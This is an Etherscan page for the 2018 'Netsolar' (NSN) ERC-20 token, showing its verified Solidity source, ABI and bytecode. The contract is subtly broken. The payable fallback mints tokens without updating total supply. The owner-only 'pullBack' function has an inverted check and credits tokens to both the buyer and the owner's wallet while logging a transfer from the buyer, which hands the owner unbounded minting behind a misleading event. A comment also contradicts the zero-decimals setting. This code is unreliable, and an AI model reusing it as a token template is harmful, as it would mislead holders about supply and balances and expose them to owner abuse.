ETH Price: $3,273.15 (+0.82%)
Gas: 1 Gwei

Token

Netsolar (NSN)
 

Overview

Max Total Supply

3,000,000,000 NSN

Holders

1,963

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
85,000 NSN

Value
$0.00
0x7e23e417852576ac359e55b40ec15c4e4e829f94
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Netsolar

Compiler Version
v0.4.25-nightly.2018.5.16+commit.3897c367

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2018-09-11
*/

/**
  Do you have any questions or suggestions? Emails us @ [email protected]
  
                 _______  _______________________________________  .____       _____ __________ 
                 \      \ \_   _____/\__    ___/   _____/\_____  \ |    |     /  _  \\______   \
                 /   |   \ |    __)_   |    |  \_____  \  /   |   \|    |    /  /_\  \|       _/
                /    |    \|        \  |    |  /        \/    |    \    |___/    |    \    |   \
                \____|__  /_______  /  |____| /_______  /\_______  /_______ \____|__  /____|_  /
                        \/        \/                  \/         \/        \/       \/       \/ 
                 _______  ________________________      __________ __________ ____  __.         
                 \      \ \_   _____/\__    ___/  \    /  \_____  \\______   \    |/ _|         
                 /   |   \ |    __)_   |    |  \   \/\/   //   |   \|       _/      <           
                /    |    \|        \  |    |   \        //    |    \    |   \    |  \          
                \____|__  /_______  /  |____|    \__/\  / \_______  /____|_  /____|__ \         
                        \/        \/                  \/          \/       \/        \/ 
*/

pragma solidity ^0.4.24;
 
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

 function div(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
    
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }


  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) onlyOwner public {
         if(msg.sender != owner){
            revert();
         }
         else{
            require(newOwner != address(0));
            OwnershipTransferred(owner, newOwner);
            owner = newOwner;
         }
             
    }

}

/**
 * @title ERC20Standard
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Interface {
     function totalSupply() public constant returns (uint);
     function balanceOf(address tokenOwner) public constant returns (uint balance);
     function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
     function transfer(address to, uint tokens) public returns (bool success);
     function approve(address spender, uint tokens) public returns (bool success);
     function transferFrom(address from, address to, uint tokens) public returns (bool success);
     event Transfer(address indexed from, address indexed to, uint tokens);
     event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract Netsolar is ERC20Interface,Ownable {

   using SafeMath for uint256;
    uint256 public totalSupply;
    mapping(address => uint256) tokenBalances;
   
   string public constant name = "Netsolar";
   string public constant symbol = "NSN";
   uint256 public constant decimals = 0;

   uint256 public constant INITIAL_SUPPLY = 3000000000;
    address ownerWallet;
   // Owner of account approves the transfer of an amount to another account
   mapping (address => mapping (address => uint256)) allowed;
   event Debug(string message, address addr, uint256 number);

    function NSN (address wallet) onlyOwner public {
        if(msg.sender != owner){
            revert();
         }
        else{
        ownerWallet=wallet;
        totalSupply = 3000000000;
        tokenBalances[wallet] = 3000000000;   //Since we divided the token into 10^18 parts
        }
    }
    
 /**
  * @dev transfer token for a specified address
  * @param _to The address to transfer to.
  * @param _value The amount to be transferred.
  */
  function transfer(address _to, uint256 _value) public returns (bool) {
    require(tokenBalances[msg.sender]>=_value);
    tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
    tokenBalances[_to] = tokenBalances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
  }
  
  
     /**
   * @dev Transfer tokens from one address to another
   * @param _from address The address which you want to send tokens from
   * @param _to address The address which you want to transfer to
   * @param _value uint256 the amount of tokens to be transferred
   */
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= tokenBalances[_from]);
    require(_value <= allowed[_from][msg.sender]);

    tokenBalances[_from] = tokenBalances[_from].sub(_value);
    tokenBalances[_to] = tokenBalances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    Transfer(_from, _to, _value);
    return true;
  }
 
    uint price = 0.000001 ether;
    function() public payable {
        
        uint toMint = msg.value/price;
        //totalSupply += toMint;
        tokenBalances[msg.sender]+=toMint;
        Transfer(0,msg.sender,toMint);
        
     }     
     /**
   * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
   *
   * Beware that changing an allowance with this method brings the risk that someone may use both the old
   * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
   * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   * @param _spender The address which will spend the funds.
   * @param _value The amount of tokens to be spent.
   */
  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }

     // ------------------------------------------------------------------------
     // Total supply
     // ------------------------------------------------------------------------
     function totalSupply() public constant returns (uint) {
         return totalSupply  - tokenBalances[address(0)];
     }
     
     // ------------------------------------------------------------------------
     // Returns the amount of tokens approved by the owner that can be
     // transferred to the spender's account
     // ------------------------------------------------------------------------
     function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
         return allowed[tokenOwner][spender];
     }
     // ------------------------------------------------------------------------
     // Accept ETH
     // ------------------------------------------------------------------------
   function withdraw() onlyOwner public {
        if(msg.sender != owner){
            revert();
         }
         else{
        uint256 etherBalance = this.balance;
        owner.transfer(etherBalance);
         }
    }
  /**
  * @dev Gets the balance of the specified address.
  * @param _owner The address to query the the balance of.
  * @return An uint256 representing the amount owned by the passed address.
  */
  function balanceOf(address _owner) constant public returns (uint256 balance) {
    return tokenBalances[_owner];
  }

    function pullBack(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
        require(tokenBalances[buyer]<=tokenAmount);
        tokenBalances[buyer] = tokenBalances[buyer].add(tokenAmount);
        tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
        Transfer(buyer, wallet, tokenAmount);
     }
    function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
        tokenBalance = tokenBalances[addr];
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"wallet","type":"address"},{"name":"buyer","type":"address"},{"name":"tokenAmount","type":"uint256"}],"name":"pullBack","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"showMyTokenBalance","outputs":[{"name":"tokenBalance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"wallet","type":"address"}],"name":"NSN","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"message","type":"string"},{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"number","type":"uint256"}],"name":"Debug","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}]

608060405264e8d4a5100060055560008054600160a060020a03191633179055610a1c8061002e6000396000f3006080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461013a578063095ea7b3146101c457806318160ddd146101fc57806323b872dd146102235780632ff2e9dc1461024d578063313ce567146102625780633ccfd60b1461027757806370a082311461028e57806377eefa5a146102af5780638da5cb5b146102d95780638fe476251461028e57806395d89b411461030a578063a9059cbb1461031f578063dd62ed3e14610343578063e87d31b61461036a578063f2fde38b1461038b575b6000600554348115156100f457fe5b33600081815260026020908152604080832080549690950495860190945583518581529351949550919390926000805160206109d183398151915292908290030190a350005b34801561014657600080fd5b5061014f6103ac565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d057600080fd5b506101e8600160a060020a03600435166024356103e3565b604080519115158252519081900360200190f35b34801561020857600080fd5b50610211610449565b60408051918252519081900360200190f35b34801561022f57600080fd5b506101e8600160a060020a036004358116906024351660443561047b565b34801561025957600080fd5b506102116105e2565b34801561026e57600080fd5b506102116105ea565b34801561028357600080fd5b5061028c6105ef565b005b34801561029a57600080fd5b50610211600160a060020a036004351661065f565b3480156102bb57600080fd5b5061028c600160a060020a036004358116906024351660443561067a565b3480156102e557600080fd5b506102ee61075e565b60408051600160a060020a039092168252519081900360200190f35b34801561031657600080fd5b5061014f61076d565b34801561032b57600080fd5b506101e8600160a060020a03600435166024356107a4565b34801561034f57600080fd5b50610211600160a060020a036004358116906024351661085e565b34801561037657600080fd5b5061028c600160a060020a0360043516610889565b34801561039757600080fd5b5061028c600160a060020a03600435166108ff565b60408051808201909152600881527f4e6574736f6c6172000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a038316151561049257600080fd5b600160a060020a0384166000908152600260205260409020548211156104b757600080fd5b600160a060020a03841660009081526004602090815260408083203384529091529020548211156104e757600080fd5b600160a060020a038416600090815260026020526040902054610510908363ffffffff6109a816565b600160a060020a038086166000908152600260205260408082209390935590851681522054610545908363ffffffff6109ba16565b600160a060020a038085166000908152600260209081526040808320949094559187168152600482528281203382529091522054610589908363ffffffff6109a816565b600160a060020a03808616600081815260046020908152604080832033845282529182902094909455805186815290519287169391926000805160206109d1833981519152929181900390910190a35060019392505050565b63b2d05e0081565b600081565b60008054600160a060020a0316331461060757600080fd5b600054600160a060020a0316331461061e57600080fd5b5060008054604051303192600160a060020a03909216916108fc841502918491818181858888f1935050505015801561065b573d6000803e3d6000fd5b5050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a0316331461069157600080fd5b600160a060020a0382166000908152600260205260409020548110156106b657600080fd5b600160a060020a0382166000908152600260205260409020546106df908263ffffffff6109ba16565b600160a060020a038084166000908152600260205260408082209390935590851681522054610714908263ffffffff6109ba16565b600160a060020a0380851660008181526002602090815260409182902094909455805185815290519193928616926000805160206109d183398151915292918290030190a3505050565b600054600160a060020a031681565b60408051808201909152600381527f4e534e0000000000000000000000000000000000000000000000000000000000602082015281565b336000908152600260205260408120548211156107c057600080fd5b336000908152600260205260409020546107e0908363ffffffff6109a816565b3360009081526002602052604080822092909255600160a060020a03851681522054610812908363ffffffff6109ba16565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233926000805160206109d18339815191529281900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a031633146108a057600080fd5b600054600160a060020a031633146108b757600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216918217905563b2d05e00600181905560009182526002602052604090912055565b600054600160a060020a0316331461091657600080fd5b600054600160a060020a0316331461092d57600080fd5b600160a060020a038116151561094257600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b6000828211156109b457fe5b50900390565b6000828201838110156109c957fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820cb3f8235b5394e40e84be231d29ebb99d142fcf5d50babffef04b013ffe4c4f60029

Deployed Bytecode

0x6080604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461013a578063095ea7b3146101c457806318160ddd146101fc57806323b872dd146102235780632ff2e9dc1461024d578063313ce567146102625780633ccfd60b1461027757806370a082311461028e57806377eefa5a146102af5780638da5cb5b146102d95780638fe476251461028e57806395d89b411461030a578063a9059cbb1461031f578063dd62ed3e14610343578063e87d31b61461036a578063f2fde38b1461038b575b6000600554348115156100f457fe5b33600081815260026020908152604080832080549690950495860190945583518581529351949550919390926000805160206109d183398151915292908290030190a350005b34801561014657600080fd5b5061014f6103ac565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610189578181015183820152602001610171565b50505050905090810190601f1680156101b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d057600080fd5b506101e8600160a060020a03600435166024356103e3565b604080519115158252519081900360200190f35b34801561020857600080fd5b50610211610449565b60408051918252519081900360200190f35b34801561022f57600080fd5b506101e8600160a060020a036004358116906024351660443561047b565b34801561025957600080fd5b506102116105e2565b34801561026e57600080fd5b506102116105ea565b34801561028357600080fd5b5061028c6105ef565b005b34801561029a57600080fd5b50610211600160a060020a036004351661065f565b3480156102bb57600080fd5b5061028c600160a060020a036004358116906024351660443561067a565b3480156102e557600080fd5b506102ee61075e565b60408051600160a060020a039092168252519081900360200190f35b34801561031657600080fd5b5061014f61076d565b34801561032b57600080fd5b506101e8600160a060020a03600435166024356107a4565b34801561034f57600080fd5b50610211600160a060020a036004358116906024351661085e565b34801561037657600080fd5b5061028c600160a060020a0360043516610889565b34801561039757600080fd5b5061028c600160a060020a03600435166108ff565b60408051808201909152600881527f4e6574736f6c6172000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a038316151561049257600080fd5b600160a060020a0384166000908152600260205260409020548211156104b757600080fd5b600160a060020a03841660009081526004602090815260408083203384529091529020548211156104e757600080fd5b600160a060020a038416600090815260026020526040902054610510908363ffffffff6109a816565b600160a060020a038086166000908152600260205260408082209390935590851681522054610545908363ffffffff6109ba16565b600160a060020a038085166000908152600260209081526040808320949094559187168152600482528281203382529091522054610589908363ffffffff6109a816565b600160a060020a03808616600081815260046020908152604080832033845282529182902094909455805186815290519287169391926000805160206109d1833981519152929181900390910190a35060019392505050565b63b2d05e0081565b600081565b60008054600160a060020a0316331461060757600080fd5b600054600160a060020a0316331461061e57600080fd5b5060008054604051303192600160a060020a03909216916108fc841502918491818181858888f1935050505015801561065b573d6000803e3d6000fd5b5050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a0316331461069157600080fd5b600160a060020a0382166000908152600260205260409020548110156106b657600080fd5b600160a060020a0382166000908152600260205260409020546106df908263ffffffff6109ba16565b600160a060020a038084166000908152600260205260408082209390935590851681522054610714908263ffffffff6109ba16565b600160a060020a0380851660008181526002602090815260409182902094909455805185815290519193928616926000805160206109d183398151915292918290030190a3505050565b600054600160a060020a031681565b60408051808201909152600381527f4e534e0000000000000000000000000000000000000000000000000000000000602082015281565b336000908152600260205260408120548211156107c057600080fd5b336000908152600260205260409020546107e0908363ffffffff6109a816565b3360009081526002602052604080822092909255600160a060020a03851681522054610812908363ffffffff6109ba16565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233926000805160206109d18339815191529281900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a031633146108a057600080fd5b600054600160a060020a031633146108b757600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216918217905563b2d05e00600181905560009182526002602052604090912055565b600054600160a060020a0316331461091657600080fd5b600054600160a060020a0316331461092d57600080fd5b600160a060020a038116151561094257600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff1990911617905550565b6000828211156109b457fe5b50900390565b6000828201838110156109c957fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820cb3f8235b5394e40e84be231d29ebb99d142fcf5d50babffef04b013ffe4c4f60029

Swarm Source

bzzr://cb3f8235b5394e40e84be231d29ebb99d142fcf5d50babffef04b013ffe4c4f6
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.